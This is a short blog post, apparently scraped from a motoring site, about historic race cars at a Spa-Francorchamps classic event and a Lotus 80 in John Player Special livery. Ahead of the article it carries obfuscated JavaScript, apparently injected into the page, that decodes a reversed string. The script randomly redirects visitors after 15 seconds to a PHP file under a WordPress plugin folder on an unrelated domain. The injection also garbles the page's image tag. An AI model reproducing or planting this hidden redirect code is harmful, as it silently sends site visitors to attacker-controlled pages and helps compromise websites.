$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Spa-6hr-Classic-Horizontal-30.jpg” alt=”” width=”728″ height=”485″ />
Turns out Spa-Francorchamps is the place to be if you’re hankering for some retro track-ready metal, as crankandpiston playmate Jonathan Szczupak was recently.
The array on offer throughout the weekend included (nearly) everything from BMW 1800 Tisas through to full-spec Group C Jaguars. But we’ve taken quite a shine to this Lotus 80, John Player Special livery and all.
Well, it’s so often said that the old ‘uns are the best ‘uns.
Source – btwlphotography
